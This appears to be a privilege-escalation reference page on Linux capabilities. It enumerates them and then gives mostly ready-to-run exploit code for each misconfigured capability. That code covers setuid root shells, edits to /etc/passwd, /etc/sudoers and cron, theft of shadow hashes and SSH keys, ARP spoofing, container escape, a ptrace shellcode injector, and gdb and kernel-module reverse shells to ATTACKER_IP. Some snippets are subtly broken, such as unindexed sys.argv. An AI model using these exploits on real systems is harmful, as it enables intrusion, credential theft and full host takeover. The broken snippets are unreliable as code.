ᛉ Yggdrasil

Linux

Linux Capabilities & Privilege Escalation

15 Sep 2026 · 6,443 words · 29 min

Contents

Complete reference covering Linux capability fundamentals, all dangerous capabilities, how to enumerate them, and how to exploit every misconfigured capability to escalate to root. Includes GTFOBins-style one-liners for every exploitable capability.


1. What Are Linux Capabilities?

TRADITIONAL LINUX PRIVILEGE MODEL (Before Capabilities):
──────────────────────────────────────────────────────────
Binary choice:
→ Run as ROOT = full power over everything
→ Run as USER = very limited, can do almost nothing privileged

Problem: Some programs NEED one specific privileged operation
(e.g., bind to port 80, send raw packets)
but granting full root just for that is overkill and dangerous.

CAPABILITIES (Since Linux Kernel 2.2):
──────────────────────────────────────────────────────────
Root's power is split into ~40 distinct "capabilities"
Each capability grants ONE specific privileged action.
Programs/files can be granted ONLY the capabilities they need.

Example:
ping needs to send raw ICMP packets → grant ONLY cap_net_raw
apache needs to bind port 80 → grant ONLY cap_net_bind_service

Instead of: run ping as root (dangerous)
Use: give ping cap_net_raw capability (safe)

TWO TYPES OF CAPABILITY ASSIGNMENT:
──────────────────────────────────────────────────────────

  1. FILE capabilities → Stored as extended attributes on the binary file
    Set with: setcap
    Read with: getcap
    Applied when: that specific binary is executed

  2. PROCESS capabilities → Capabilities of a running process
    Check with: cat /proc//status | grep Cap
    Inherited from parent + file capabilities

WHY THIS MATTERS FOR PRIVESC:
──────────────────────────────────────────────────────────
Admins set capabilities on files to avoid running as root.
If capability is misconfigured (too permissive, on wrong binary)
→ ANY user who can run that binary gets that capability
→ Some capabilities (cap_setuid, cap_dac_override, etc.) = ROOT
→ No need for password, sudo, or SUID bit!


2. Capability Sets Explained

EVERY PROCESS HAS 5 CAPABILITY SETS:
──────────────────────────────────────────────────────────

  1. PERMITTED (CapPrm)
    → Pool of capabilities the process is ALLOWED to have
    → Upper bound — process cannot exceed this set
    → Even if effective set drops a cap, permitted still holds it

  2. EFFECTIVE (CapEff)
    → Capabilities ACTIVELY used RIGHT NOW
    → Kernel checks this set when process tries privileged operation
    → A process can move caps from permitted → effective (raise)
    → A process can drop caps from effective (lower)

  3. INHERITABLE (CapInh)
    → Capabilities passed to CHILD processes via exec()
    → Controls what capabilities survive across program execution

  4. BOUNDING (CapBnd)
    → Hard ceiling — no process can EVER acquire caps outside this
    → Even root can't exceed bounding set
    → Dropping from bounding is irreversible (within that process)

  5. AMBIENT (CapAmb) [Linux 4.3+]
    → For non-SUID binaries — passes caps to children
    → Must be subset of both permitted AND inheritable

FILE CAPABILITY FLAGS:
──────────────────────────────────────────────────────────

When you see: /usr/bin/python3 = cap_setuid+ep

The suffix tells you which sets the capability is added to:

+e = effective → Capability is ACTIVE when binary runs
+p = permitted → Capability is in permitted set
+i = inheritable → Capability passes to children

Combinations:
+ep = effective + permitted → Immediately active (most dangerous!)
+eip = all three → Active + inheritable
+p = permitted only → Binary must explicitly raise it

READING /proc//status CapEff:
──────────────────────────────────────────────────────────

cat /proc/self/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000 ← All zeros = no special capabilities
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

Decode hex bitmask (each bit = one capability)

capsh --decode=000001ffffffffff # Human-readable output
python3 -c "import subprocess; ..." # Or manual decode

Root process:

CapEff: 000001ffffffffff ← All bits set = all capabilities


3. Complete Capability Reference

Capability Description Dangerous?
cap_setuid Change process UID to any (incl. 0) 🔴 CRITICAL
cap_setgid Change process GID to any (incl. 0) 🔴 CRITICAL
cap_dac_override Bypass ALL file r/w/x permission checks 🔴 CRITICAL
cap_dac_read_search Bypass file read + directory traverse checks 🔴 HIGH
cap_fowner Bypass ownership checks on files (chmod, chown) 🔴 HIGH
cap_sys_admin Huge admin capability — mount, sethostname, etc. 🔴 CRITICAL
cap_sys_ptrace Trace/debug ANY process (incl. root processes) 🔴 HIGH
cap_sys_module Load/unload kernel modules 🔴 CRITICAL
cap_sys_rawio Raw I/O access (/dev/mem, iopl()) 🔴 HIGH
cap_net_bind_service Bind to ports < 1024 🟡 LOW
cap_net_raw Use raw sockets, packet capture 🟡 MEDIUM
cap_net_admin Configure network interfaces, iptables, etc. 🟡 MEDIUM
cap_chown Change file ownership arbitrarily 🔴 HIGH
cap_kill Send signals to any process (any UID) 🟡 MEDIUM
cap_mknod Create special device files 🟡 MEDIUM
cap_audit_write Write to kernel audit log 🟡 LOW
cap_audit_control Control kernel auditing 🟡 LOW
cap_setfcap Set capabilities on files 🔴 CRITICAL
cap_sys_chroot Use chroot() 🟡 MEDIUM
cap_linux_immutable Set immutable/append-only file attributes 🟡 LOW
cap_net_broadcast Make socket broadcasts 🟢 LOW
cap_sys_time Set system clock 🟡 LOW
cap_sys_nice Change process priority/scheduling 🟢 LOW
cap_ipc_lock Lock memory pages 🟢 LOW
cap_ipc_owner Override IPC ownership checks 🟡 LOW
cap_setpcap Transfer capabilities to/from other processes 🟡 MEDIUM
cap_sys_boot Reboot system 🟡 LOW
cap_wake_alarm Trigger system wake alarms 🟢 LOW

4. Enumerate Capabilities

# ==========================================
# FIND ALL BINARIES WITH FILE CAPABILITIES
# ==========================================

# Most important command — run this first!
getcap -r / 2>/dev/null

# Sample dangerous output:
# /usr/bin/python3.10 = cap_setuid+ep       ← INSTANT ROOT!
# /usr/bin/vim.basic  = cap_setuid+ep       ← INSTANT ROOT!
# /usr/bin/perl       = cap_setuid+ep       ← INSTANT ROOT!
# /usr/bin/ruby       = cap_setuid+ep       ← INSTANT ROOT!
# /usr/bin/tar        = cap_dac_read_search+ep  ← Read any file!
# /usr/bin/nmap       = cap_net_raw+ep      ← Packet capture
# /usr/bin/tcpdump    = cap_net_raw+ep      ← Packet capture
# /usr/bin/ping       = cap_net_raw+ep      ← (expected, normal)
# /usr/bin/openssl    = cap_setuid+ep       ← INSTANT ROOT!

# ==========================================
# LIMIT SEARCH TO DANGEROUS CAPABILITIES
# ==========================================

# Filter only critical/exploitable capabilities
getcap -r / 2>/dev/null | grep -E "cap_setuid|cap_setgid|cap_dac_override|cap_dac_read_search|cap_fowner|cap_sys_admin|cap_sys_ptrace|cap_sys_module|cap_sys_rawio|cap_chown|cap_setfcap"

# ==========================================
# CHECK CAPABILITIES OF RUNNING PROCESSES
# ==========================================

# Your own process capabilities
cat /proc/self/status | grep Cap

# Specific process by PID
cat /proc/1234/status | grep Cap

# ALL running processes with non-zero capabilities
for pid in /proc/[0-9]*/; do
    pid_num=${pid//[^0-9]/}
    caps=$(cat /proc/$pid_num/status 2>/dev/null | grep CapEff | awk '{print $2}')
    if [ -n "$caps" ] && [ "$caps" != "0000000000000000" ]; then
        cmd=$(cat /proc/$pid_num/cmdline 2>/dev/null | tr '\0' ' ')
        echo "PID $pid_num | CapEff: $caps | CMD: $cmd"
    fi
done

# ==========================================
# DECODE CAPABILITY BITMASK
# ==========================================

# Using capsh (most readable)
capsh --decode=<HEX_VALUE>
capsh --decode=000001ffffffffff     # Full root
capsh --decode=0000000000000400     # Only cap_net_raw

# Using pycap (Python)
python3 -c "
import struct
val = int('0000000000000400', 16)
caps = ['cap_chown','cap_dac_override','cap_dac_read_search',
        'cap_fowner','cap_fsetid','cap_kill','cap_setgid',
        'cap_setuid','cap_setpcap','cap_linux_immutable',
        'cap_net_bind_service','cap_net_broadcast','cap_net_admin',
        'cap_net_raw','cap_ipc_lock','cap_ipc_owner','cap_sys_module',
        'cap_sys_rawio','cap_sys_chroot','cap_sys_ptrace','cap_sys_pacct',
        'cap_sys_admin','cap_sys_boot','cap_sys_nice','cap_sys_resource',
        'cap_sys_time','cap_sys_tty_config','cap_mknod','cap_lease',
        'cap_audit_write','cap_audit_control','cap_setfcap',
        'cap_mac_override','cap_mac_admin','cap_syslog','cap_wake_alarm',
        'cap_block_suspend','cap_audit_read']
for i, cap in enumerate(caps):
    if val & (1 << i):
        print(f'  [{i}] {cap}')
"

# Using getpcaps (check process by PID)
getpcaps <PID>
getpcaps $$          # Current shell

# ==========================================
# CHECK USER CAPABILITIES
# ==========================================

cat /etc/security/capability.conf     # User-level capabilities
# Format: cap_setuid id user1,user2

# ==========================================
# CHECK AMBIENT CAPABILITIES (child inherit)
# ==========================================

cat /proc/self/status | grep CapAmb

5. Set / Remove Capabilities

# ==========================================
# SETCAP — Set capabilities on binary
# ==========================================

# Syntax: setcap <capability>+<flags> <binary>
# Flags: e=effective, p=permitted, i=inheritable

# Grant cap_setuid (effective + permitted) — most dangerous
setcap cap_setuid+ep /usr/bin/python3.10

# Grant cap_dac_override
setcap cap_dac_override+ep /usr/bin/vim.basic

# Grant cap_net_bind_service (legit use — node.js on port 80)
setcap cap_net_bind_service+ep /usr/bin/node

# Grant cap_net_raw (for tcpdump)
setcap cap_net_raw+ep /usr/sbin/tcpdump

# Grant multiple capabilities at once
setcap cap_net_raw,cap_net_admin+ep /usr/sbin/tcpdump

# ==========================================
# GETCAP — Read capabilities
# ==========================================

getcap /usr/bin/python3.10     # Specific file
getcap -r / 2>/dev/null        # Recursive (all files)
getcap -r /usr 2>/dev/null     # Just /usr

# ==========================================
# SETCAP - (remove) — Remove capabilities
# ==========================================

setcap -r /usr/bin/python3.10  # Remove ALL capabilities from binary

# ==========================================
# CAPSH — Capability shell management
# ==========================================

capsh --print                  # Print current capabilities

# Run command with specific capabilities dropped
capsh --drop=cap_net_raw -- -c "ping google.com"

# Run as specific user with capability
capsh --caps="cap_setuid+ep" --user=username -- -c "id"

# ==========================================
# PRCTL / AMBIENT CAPABILITIES (runtime)
# ==========================================

# From within a process (Python example):
python3 -c "
import ctypes, ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
# PR_CAP_AMBIENT=47, PR_CAP_AMBIENT_RAISE=2
# cap_net_raw = 13
libc.prctl(47, 2, 13, 0, 0)   # Raise cap_net_raw to ambient
"

6. cap_setuid — The Holy Grail

cap_setuid = ability to change UID to any value, including 0 (root). This is game over.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_setuid

# ==========================================
# PYTHON with cap_setuid
# ==========================================

# If found: /usr/bin/python3.X = cap_setuid+ep

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# With PTY (better shell)
python3 -c 'import os,pty; os.setuid(0); pty.spawn("/bin/bash")'

# Short one-liner
python3 -c 'import os;os.setuid(0);os.execl("/bin/bash","bash")'

# ==========================================
# PERL with cap_setuid
# ==========================================

perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Or just:
perl -e 'setuid(0); exec "/bin/bash";'

# ==========================================
# RUBY with cap_setuid
# ==========================================

ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# ==========================================
# PHP with cap_setuid
# ==========================================

php -r 'posix_setuid(0); system("/bin/bash");'

# ==========================================
# NODE.JS with cap_setuid
# ==========================================

node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:})'

# ==========================================
# VIM with cap_setuid
# ==========================================

# If /usr/bin/vim.basic = cap_setuid+ep
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-c","reset;exec bash")'
vim -c ':!python3 -c "import os;os.setuid(0);os.system(\"/bin/bash\")"'

# ==========================================
# GVIMDIFF / VIMDIFF with cap_setuid
# ==========================================

gvimdiff -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash")'

# ==========================================
# NMAP with cap_setuid (rare but possible)
# ==========================================

nmap --script=<(echo 'local o=require"io";o.popen("python3 -c \"import os;os.setuid(0);os.system('/bin/bash')\""):read()')

# ==========================================
# OPENSSL with cap_setuid
# ==========================================

# Compile helper and use openssl as loader
cat > /tmp/pwn.c << 'EOF'
#include <openssl/engine.h>
#include <unistd.h>
static int bind(ENGINE *e, const char *id) {
    setuid(0); setgid(0);
    system("/bin/bash");
    return 1;
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
EOF
gcc -fPIC -o /tmp/pwn.o -c /tmp/pwn.c
gcc -shared -o /tmp/pwn.so -lcrypto /tmp/pwn.o
openssl req -engine /tmp/pwn.so

# ==========================================
# VERIFY ROOT
# ==========================================

id    # Should show uid=0(root)

7. cap_setgid

cap_setgid = change GID to any value. Change group to shadow, root, docker, etc.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_setgid

# ==========================================
# EXPLOIT — Change GID to shadow group
# ==========================================

# Get shadow GID
getent group shadow         # shadow:x:42:
cat /etc/group | grep shadow

# Python — setgid to shadow (GID 42)
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")'

# Perl
perl -e 'POSIX::setgid(42); system("cat /etc/shadow")'

# ==========================================
# ESCALATE FURTHER — Crack hashes
# ==========================================

# After reading shadow:
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")' > /tmp/shadow
hashcat -m 1800 /tmp/shadow /usr/share/wordlists/rockyou.txt

# ==========================================
# setgid to root group (GID 0)
# ==========================================

python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'
# Now running as GID 0 (root group)
# → Can write root-group-owned files!

8. cap_net_bind_service

# FIND IT:
getcap -r / 2>/dev/null | grep cap_net_bind_service

# ==========================================
# WHAT IT DOES
# ==========================================

# Normally: binding to ports < 1024 requires root
# cap_net_bind_service → ANY user can bind to privileged ports
# LOW impact for privesc — but useful for:
# → Spoofing services (fake SSH on 22, fake HTTP on 80)
# → Phishing within the network

# ==========================================
# EXPLOIT — Spoof SSH service (capture creds)
# ==========================================

# If python has cap_net_bind_service:
python3 -c "
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 22))    # Port 22 — normally needs root!
s.listen(5)
print('Fake SSH listening on :22')
while True:
    conn, addr = s.accept()
    print(f'Connection from {addr}: {conn.recv(1024)}')
    conn.close()
"

# ==========================================
# Spoof web server on port 80
# ==========================================

python3 -m http.server 80    # Normally fails without root
# With cap_net_bind_service → works!

# Use for credential phishing page on port 80/443

9. cap_net_raw

# FIND IT:
getcap -r / 2>/dev/null | grep cap_net_raw

# ==========================================
# WHAT IT DOES
# ==========================================

# cap_net_raw → Create raw sockets, send arbitrary packets
# → Packet sniffing (like tcpdump without root)
# → Craft custom packets (ARP spoofing, ICMP, etc.)
# → Network-level MITM

# ==========================================
# EXPLOIT 1 — Sniff traffic with tcpdump
# ==========================================

# If tcpdump has cap_net_raw (normal/expected):
tcpdump -i eth0 -A -s 0

# Capture to file
tcpdump -i eth0 -w /tmp/capture.pcap

# Look for creds in HTTP, FTP, Telnet, LDAP
tcpdump -i eth0 -A -s 0 port 80 or port 21 or port 23 or port 389

# ==========================================
# EXPLOIT 2 — Python raw socket sniffing
# ==========================================

# If python3 has cap_net_raw:
python3 -c "
import socket, struct

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
while True:
    data, addr = s.recvfrom(65565)
    # Parse IP header
    ip_header = struct.unpack('!BBHHHBBH4s4s', data[14:34])
    src_ip = socket.inet_ntoa(ip_header)
    dst_ip = socket.inet_ntoa(ip_header)
    proto = ip_header

    if proto == 6:  # TCP
        tcp_header = struct.unpack('!HHLLBBHHH', data[34:54])
        src_port = tcp_header
        dst_port = tcp_header
        payload = data[54:]
        if payload and any(k in payload for k in [b'pass', b'Pass', b'user', b'User']):
            print(f'{src_ip}:{src_port} → {dst_ip}:{dst_port}')
            print(f'PAYLOAD: {payload[:200]}')
"

# ==========================================
# EXPLOIT 3 — ARP Spoofing (MITM)
# ==========================================

# If scapy is available + cap_net_raw:
python3 -c "
from scapy.all import *
# ARP spoof between gateway and target
# (Intercept all their traffic!)
import sys
gw_ip, target_ip = '10.10.10.1', '10.10.10.50'
gw_mac = getmacbyip(gw_ip)
target_mac = getmacbyip(target_ip)

while True:
    send(ARP(op=2, pdst=target_ip, psrc=gw_ip, hwdst=target_mac), verbose=False)
    send(ARP(op=2, pdst=gw_ip, psrc=target_ip, hwdst=gw_mac), verbose=False)
    time.sleep(1)
"

10. cap_dac_override

cap_dac_override = bypass ALL file read/write/execute permission checks. Read or write ANY file.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_dac_override

# ==========================================
# WHAT IT DOES
# ==========================================

# DAC = Discretionary Access Control
# cap_dac_override = bypass ALL DAC checks
# → Read ANY file (even root-only: /etc/shadow, /root/.ssh/id_rsa)
# → WRITE to ANY file (/etc/passwd, /etc/sudoers, crontab!)
# → Execute ANY file
# → This is EFFECTIVELY ROOT!

# ==========================================
# EXPLOIT 1 — Write to /etc/passwd
# ==========================================

# Generate password hash
openssl passwd -1 'hacked123'
# → $1$xyz$AbcDef...

# With vim having cap_dac_override:
# You can directly edit /etc/passwd!
vim /etc/passwd       # Would normally fail — now succeeds!

# Add root-equivalent user:
echo 'hacker:$1$xyz$AbcDef...:0:0::/root:/bin/bash' >> /etc/passwd

# Switch to new user:
su hacker    # Password: hacked123 → ROOT SHELL!

# ==========================================
# EXPLOIT 2 — Write to /etc/sudoers
# ==========================================

# If tee or cat has cap_dac_override:
echo 'youruser ALL=(ALL) NOPASSWD:ALL' | tee -a /etc/sudoers
sudo bash                # Now root!

# With vim:
vim /etc/sudoers         # Edit directly

# ==========================================
# EXPLOIT 3 — Python reads /etc/shadow
# ==========================================

python3 -c '
with open("/etc/shadow","r") as f:
    print(f.read())
'
# Crack root hash → su root

# ==========================================
# EXPLOIT 4 — Overwrite root's authorized_keys
# ==========================================

# With cap_dac_override on cp or cat:
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
ssh root@localhost     # Now SSH in as root!

# ==========================================
# EXPLOIT 5 — vim with cap_dac_override
# ==========================================

vim /etc/shadow
vim /root/.bash_history    # See root's command history
vim /root/.ssh/id_rsa      # Steal root private key!

# ==========================================
# EXPLOIT 6 — Overwrite /etc/cron.d/
# ==========================================

echo '* * * * * root chmod +s /bin/bash' > /etc/cron.d/privesc
# Wait 1 min → bash -p → root!

cap_dac_read_search = bypass file READ and directory TRAVERSE checks. Read any file.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_dac_read_search

# ==========================================
# WHAT IT DOES
# ==========================================

# cap_dac_read_search = bypass READ permission only (not write!)
# → Read ANY file regardless of permissions
# → Traverse ANY directory regardless of execute bit
# → Weaker than cap_dac_override (no write) but still critical

# ==========================================
# EXPLOIT 1 — tar with cap_dac_read_search (Classic!)
# ==========================================

# If /usr/bin/tar = cap_dac_read_search+ep:
# tar can read any file! Archive /etc/shadow!

tar -cvf /tmp/shadow.tar /etc/shadow
tar -xvf /tmp/shadow.tar -C /tmp/
cat /tmp/etc/shadow                    # Root hash extracted!

# Archive entire /root/
tar -cvf /tmp/root_backup.tar /root/
tar -xvf /tmp/root_backup.tar -C /tmp/
# → /tmp/root/.ssh/id_rsa → SSH key!

# ==========================================
# EXPLOIT 2 — Python with cap_dac_read_search
# ==========================================

python3 -c '
with open("/etc/shadow","r") as f:
    print(f.read())
'

python3 -c '
with open("/root/.ssh/id_rsa","r") as f:
    print(f.read())
'
# Save → ssh -i key root@localhost

# ==========================================
# EXPLOIT 3 — find with cap_dac_read_search
# ==========================================

# find can traverse otherwise inaccessible directories!
find /root -type f                    # List all root's files
find /etc /root /var/lib -name "*.key" -o -name "*.pem" -o -name "id_rsa"
find / -name "*.conf" -path "*/root/*" 2>/dev/null

# ==========================================
# EXPLOIT 4 — cp with cap_dac_read_search
# ==========================================

cp /etc/shadow /tmp/shadow_copy
cp /root/.ssh/id_rsa /tmp/root_key
chmod 600 /tmp/root_key
ssh -i /tmp/root_key root@localhost

# ==========================================
# EXPLOIT 5 — Shodan-style (access Docker socket)
# ==========================================

# If Docker socket is root-only:
cat /var/run/docker.sock              # Now readable with this cap!
# pipe to curl → control Docker as root

12. cap_fowner

cap_fowner = bypass ownership checks. Chmod/chown any file even if you don't own it.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_fowner

# ==========================================
# WHAT IT DOES
# ==========================================

# Normally: chmod/chown only work on files YOU own
# cap_fowner → bypass ownership check
# → chmod SUID any binary!
# → chown yourself any file!

# ==========================================
# EXPLOIT 1 — chmod SUID on bash
# ==========================================

# If python3 has cap_fowner:
python3 -c 'import os; os.chmod("/bin/bash", 0o4755)'
# Now bash has SUID bit set!
bash -p                               # ROOT SHELL!

# ==========================================
# EXPLOIT 2 — chown /etc/shadow to yourself
# ==========================================

python3 -c 'import os; os.chown("/etc/shadow", 1001, 1001)'
# 1001 = your UID and GID
cat /etc/shadow                       # Now readable by you!

# ==========================================
# EXPLOIT 3 — Take ownership of sudoers
# ==========================================

python3 -c 'import os; os.chown("/etc/sudoers", 1001, 0)'
# Now you own sudoers!
echo 'youruser ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
sudo bash                             # ROOT!

# ==========================================
# EXPLOIT 4 — via chmod command
# ==========================================

# If chmod binary has cap_fowner:
chmod 4777 /bin/bash                  # SUID on bash!
bash -p                               # ROOT!

chmod 777 /etc/shadow                 # World-writable shadow!
cat /etc/shadow

# ==========================================
# EXPLOIT 5 — Take ownership of SSH authorized_keys
# ==========================================

python3 -c 'import os; os.chown("/root/.ssh/authorized_keys", 1001, 1001)'
# Now you can write to root's authorized_keys!
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
ssh root@localhost

13. cap_sys_admin

cap_sys_admin = the kitchen sink capability. Covers hundreds of privileged operations.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_sys_admin

# ==========================================
# WHAT IT DOES (Partial List)
# ==========================================

# → mount() and umount() — mount any filesystem!
# → sethostname(), setdomainname()
# → pivot_root() — change root filesystem!
# → keyctl() operations
# → clone() with CLONE_NEWNS
# → nsenter into namespaces
# → unshare namespaces
# → swapon/swapoff
# → quotactl()
# → Various ioctl() operations

# ==========================================
# EXPLOIT 1 — Mount devices
# ==========================================

# If python3/binary has cap_sys_admin:
# Mount the host's root filesystem!

# First find device
lsblk
df -h /

# Mount with cap_sys_admin
python3 -c "
import ctypes
# Mount /dev/sda1 to /mnt/
libc = ctypes.CDLL('libc.so.6', use_errno=True)
libc.mount(b'/dev/sda1', b'/mnt', b'ext4', 0, None)
print('Mounted!')
"
ls /mnt/                    # Full host filesystem!
cat /mnt/etc/shadow         # Root hashes!
chroot /mnt /bin/bash       # Root shell on host!

# ==========================================
# EXPLOIT 2 — Namespace escape (container breakout)
# ==========================================

# From inside a container with cap_sys_admin:
# Escape to host namespace!

# Check if in container
cat /proc/1/cgroup | grep docker
ls /.dockerenv

# Escape using nsenter + mount namespace
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# PID 1 = host init → now in host namespace = ROOT!

# ==========================================
# EXPLOIT 3 — rdma / keyctl
# ==========================================

# keyctl — manipulate kernel key retention service
# With cap_sys_admin can access kernel keyring of other processes
keyctl list @u                 # List user session keys
keyctl print <KEY_ID>          # Read key value (may contain creds!)

# ==========================================
# EXPLOIT 4 — via unshare
# ==========================================

# Create new namespace with root in it
unshare --mount --user --map-root-user /bin/bash
# → Root inside new namespace, can then mount things!

14. cap_sys_ptrace

cap_sys_ptrace = attach debugger to ANY process, including root processes. Inject shellcode.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_sys_ptrace

# ==========================================
# WHAT IT DOES
# ==========================================

# ptrace = process tracing (used by gdb, strace)
# cap_sys_ptrace → attach to ANY process, any UID
# → Read memory of root processes (extract secrets!)
# → Write/inject code into root processes
# → Redirect execution → get shell as that process!

# ==========================================
# EXPLOIT 1 — Inject shellcode into root process
# ==========================================

# Step 1: Find a root process to inject into
ps -ef | grep root | grep -v grep
# Pick a long-running root process (e.g., apache, sshd, cron)
# Note the PID → e.g., PID 1337

# Step 2: Use gdb to inject shell (if gdb available + cap_sys_ptrace)
gdb -p 1337
# Inside gdb:
# (gdb) call system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'")
# (gdb) quit

# Step 3: Get reverse shell on attacker listener
# nc -lvnp 4444  → Shell arrives as root!

# ==========================================
# EXPLOIT 2 — Python inject script (no gdb)
# ==========================================

# Full ptrace inject script
cat > /tmp/inject.py << 'EOF'
#!/usr/bin/env python3
import ctypes, sys, struct

PTRACE_ATTACH      = 16
PTRACE_GETREGS     = 12
PTRACE_SETREGS     = 13
PTRACE_POKEDATA    = 5
PTRACE_CONT        = 7
PTRACE_DETACH      = 17

libc = ctypes.CDLL("libc.so.6", use_errno=True)
pid = int(sys.argv)

class Regs(ctypes.Structure):
    _fields_ = [("r15","c_ulonglong"),("r14","c_ulonglong"),
                 ("r13","c_ulonglong"),("r12","c_ulonglong"),
                 ("rbp","c_ulonglong"),("rbx","c_ulonglong"),
                 ("r11","c_ulonglong"),("r10","c_ulonglong"),
                 ("r9","c_ulonglong"),("r8","c_ulonglong"),
                 ("rax","c_ulonglong"),("rcx","c_ulonglong"),
                 ("rdx","c_ulonglong"),("rsi","c_ulonglong"),
                 ("rdi","c_ulonglong"),("orig_rax","c_ulonglong"),
                 ("rip","c_ulonglong"),("cs","c_ulonglong"),
                 ("eflags","c_ulonglong"),("rsp","c_ulonglong"),
                 ("ss","c_ulonglong"),("fs_base","c_ulonglong"),
                 ("gs_base","c_ulonglong"),("ds","c_ulonglong"),
                 ("es","c_ulonglong"),("fs","c_ulonglong"),
                 ("gs","c_ulonglong")]

# x64 reverse shell shellcode
shellcode = b"\x48\x31\xd2\x48\xbb..."  # Replace with actual shellcode
# Use msfvenom: msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f py

libc.ptrace(PTRACE_ATTACH, pid, None, None)
import os, signal; os.waitpid(pid, 0)

regs = Regs()
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(regs))
rip = regs.rip

# Write shellcode to process memory at RIP
for i in range(0, len(shellcode), 8):
    chunk = shellcode[i:i+8].ljust(8, b'\x90')
    word = struct.unpack('<Q', chunk)
    libc.ptrace(PTRACE_POKEDATA, pid, ctypes.c_void_p(rip+i), word)

libc.ptrace(PTRACE_CONT, pid, None, None)
print(f"[+] Shellcode injected into PID {pid} at RIP {hex(rip)}")
EOF

# Usage:
# 1. Start listener: nc -lvnp 4444
# 2. Find root PID: ps -ef | grep root
python3 /tmp/inject.py <ROOT_PID>

# ==========================================
# EXPLOIT 3 — strace to extract credentials
# ==========================================

# Attach strace to running process (reads its syscalls!)
strace -p <PID> -e trace=read,write -s 9999 2>&1 | grep -i "pass\|secret\|key"

# This can capture passwords from:
# → sshd (SSH auth passwords)
# → sudo (passwords entered)
# → MySQL client (query strings with passwords)
# → Any process reading from terminal

# ==========================================
# EXPLOIT 4 — Read process memory directly
# ==========================================

# Read /proc/<PID>/mem (needs ptrace to attach first)
python3 << EOF
import sys

pid = int(sys.argv) if len(sys.argv) > 1 else 1
maps_file = open(f"/proc/{pid}/maps", 'r')
mem_file = open(f"/proc/{pid}/mem", 'rb', 0)

for line in maps_file.readlines():
    m = line.split()
    if len(m) < 6 or m == '[vvar]': continue
    start, end = [int(x, 16) for x in m.split('-')]
    try:
        mem_file.seek(start)
        chunk = mem_file.read(end - start)
        for kw in [b'password', b'secret', b'token', b'key']:
            if kw in chunk.lower():
                idx = chunk.lower().find(kw)
                print(f"Found '{kw.decode()}' at {hex(start+idx)}: {chunk[max(0,idx-20):idx+60]}")
    except:
        pass
EOF

15. cap_sys_module

cap_sys_module = load/unload kernel modules. Load a malicious rootkit = full kernel-level root.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_sys_module

# ==========================================
# WHAT IT DOES
# ==========================================

# Kernel modules run in KERNEL SPACE — above root!
# → Can do ANYTHING: hook syscalls, hide processes, open backdoors
# → Effectively deepest possible access

# ==========================================
# EXPLOIT — Write and load malicious kernel module
# ==========================================

# Step 1: Write reverse shell kernel module
mkdir /tmp/kmod && cd /tmp/kmod

cat > reverse_shell.c << 'EOF'
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("attacker");
MODULE_DESCRIPTION("Totally normal module");

static int __init mod_init(void) {
    // Run reverse shell command via usermode helper
    char *argv[] = {"/bin/bash", "-c",
        "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", NULL};
    static char *envp[] = {
        "HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
    return call_usermodehelper(argv, argv, envp, UMH_WAIT_EXEC);
}

static void __exit mod_exit(void) { return; }
module_init(mod_init);
module_exit(mod_exit);
EOF

# Step 2: Create Makefile
cat > Makefile << 'EOF'
obj-m += reverse_shell.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF

# Step 3: Compile
make

# Step 4: Start listener on attacker
# nc -lvnp 4444

# Step 5: Load the module (requires cap_sys_module!)
insmod reverse_shell.ko
# → Reverse shell connects to attacker immediately!

# ==========================================
# CLEANUP
# ==========================================

rmmod reverse_shell        # Unload module
lsmod | grep reverse       # Verify removed
dmesg | tail -20           # Check kernel messages

# ==========================================
# SIMPLER SHELL-ONLY VERSION
# ==========================================

# If insmod binary has cap_sys_module:
# Just compile and insmod the module → instant root-level execution

16. cap_chown

cap_chown = change ownership of ANY file. Change /etc/shadow owner to yourself.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_chown

# ==========================================
# EXPLOIT 1 — chown /etc/shadow to yourself
# ==========================================

# If python3 has cap_chown:
python3 -c 'import os; os.chown("/etc/shadow", 1001, 1001)'
# Replace 1001 with your UID (check with: id)

cat /etc/shadow
# Crack root hash → su root

# ==========================================
# EXPLOIT 2 — chown /root/.ssh to yourself
# ==========================================

python3 -c 'import os; os.chown("/root/.ssh", 1001, 1001)'
python3 -c 'import os; os.chown("/root/.ssh/id_rsa", 1001, 1001)'
cat /root/.ssh/id_rsa
